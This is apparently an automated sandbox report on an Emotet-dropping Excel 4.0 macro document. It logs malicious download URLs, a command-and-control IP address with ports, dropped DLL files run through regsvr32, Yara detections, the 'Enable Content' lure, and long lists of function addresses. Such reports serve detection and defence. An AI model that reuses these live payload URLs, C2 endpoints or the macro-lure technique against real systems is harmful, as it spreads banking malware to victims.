Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/
Source: regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/(
Source: regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/F
Source: regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/f
Source: regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/
Source: regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/0
Source: regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/J
Source: regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/N
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll

Jump to behavior

Source: unknown

DNS traffic detected: queries for: www.melisetotoaksesuar.com

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006B24 InternetReadFile,

4_2_0000000180006B24

Source: global traffic	HTTP traffic detected: GET /catalog/controller/account/dqfKI/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.melisetotoaksesuar.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /athletics-carnival-2018/3UTZYr9D9f/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: elamurray.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aaabackupsqldb/11hYk3bHJ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jr-software-web.netConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 212.98.224.29:443 -> 192.168.2.22:49173 version: TLS 1.2

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 3.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.3f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1264915905.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1264216924.00000000003F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1346182348.0000000000160000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1056224873.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.926879685.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1055136020.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1346169156.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1347032948.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 4	Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

Found malicious Excel 4.0 Macro

Source: RechnungsDetails.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Source: RechnungsDetails.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: RechnungsDetails.xls	Initial sample: EXEC
Source: RechnungsDetails.xls	Initial sample: EXEC

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\FIdWcB\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D212B0	3_2_000007FEF9D212B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25E01	3_2_000007FEF9D25E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25CAD	3_2_000007FEF9D25CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D26850	3_2_000007FEF9D26850
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2443C	3_2_000007FEF9D2443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D253FB	3_2_000007FEF9D253FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D24A70	3_2_000007FEF9D24A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_001C0000	3_2_001C0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180005C74	3_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002ACE8	3_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020118	3_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000359C	3_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E99C	3_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019628	3_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025A4C	3_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B7B2	3_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180009408	3_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023C14	3_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006414	3_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002582C	3_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B834	3_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000403C	3_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021444	3_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012044	3_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016054	3_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001705C	3_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001870	3_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F878	3_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014484	3_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015494	3_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BC98	3_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008C9C	3_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800078A4	3_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F0A8	3_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E4AC	3_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800048B0	3_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001ACB4	3_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800090B4	3_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800270C0	3_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800024C0	3_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800280C8	3_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800050D4	3_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800234D8	3_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800150F0	3_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012500	3_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024104	3_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A10C	3_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028D10	3_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A524	3_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002D28	3_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E130	3_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029134	3_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008134	3_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022140	3_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006954	3_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F554	3_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B564	3_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012168	3_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013568	3_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024570	3_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019178	3_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025180	3_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001980	3_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021588	3_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A988	3_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018190	3_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013994	3_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028998	3_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800061A0	3_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135A6	3_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016DA8	3_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800059AC	3_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135B4	3_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001C1B8	3_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800025B8	3_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800085BC	3_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800015C0	3_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800295C8	3_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800229CC	3_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E5D4	3_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A5D8	3_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800261E0	3_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800079EC	3_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023624	3_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018628	3_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017E2C	3_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017638	3_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004E3C	3_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020E40	3_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015A64	3_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015264	3_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A26C	3_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007678	3_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001667C	3_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012680	3_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001E88	3_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000968C	3_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022290	3_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026A90	3_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000529C	3_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020AA0	3_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022AAC	3_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007EB4	3_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800162BC	3_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800252C0	3_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001AEC8	3_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F6DC	3_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800026DC	3_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002ADC	3_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E2F4	3_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016AF4	3_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DEF4	3_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001DEFC	3_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006308	3_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001370C	3_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004B18	3_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015F24	3_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006B24	3_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F328	3_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021738	3_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002AF38	3_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028348	3_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DB4C	3_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014F50	3_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B350	3_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A758	3_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002975C	3_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024370	3_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008370	3_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015774	3_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012378	3_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026B98	3_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CF9C	3_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001EBA0	3_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B3A4	3_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D7AC	3_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800053B0	3_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015BB8	3_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800207BC	3_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FFC0	3_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800173DC	3_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018BDC	3_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00130000	4_2_00130000
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000C819	4_2_000000018000C819
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019628	4_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025A4C	4_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001705C	4_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012864	4_2_0000000180012864
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180005C74	4_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800090B4	4_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800252C0	4_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800024C0	4_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024104	4_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006B24	4_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006F2C	4_2_0000000180006F2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A758	4_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024570	4_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E99C	4_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001B3A4	4_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800079EC	4_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180009408	4_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023C14	4_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006414	4_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023624	4_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018628	4_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002582C	4_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017E2C	4_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B834	4_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017638	4_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000403C	4_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004E3C	4_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020E40	4_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021444	4_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012044	4_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016054	4_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015A64	4_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015264	4_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A26C	4_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001870	4_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F878	4_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007678	4_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001667C	4_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012680	4_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014484	4_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001E88	4_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000968C	4_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022290	4_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026A90	4_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015494	4_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BC98	4_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000529C	4_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008C9C	4_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020AA0	4_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800078A4	4_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F0A8	4_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022AAC	4_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E4AC	4_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800048B0	4_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001ACB4	4_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007EB4	4_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800162BC	4_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800270C0	4_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800280C8	4_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001AEC8	4_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800050D4	4_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800234D8	4_2_00000001800234D8
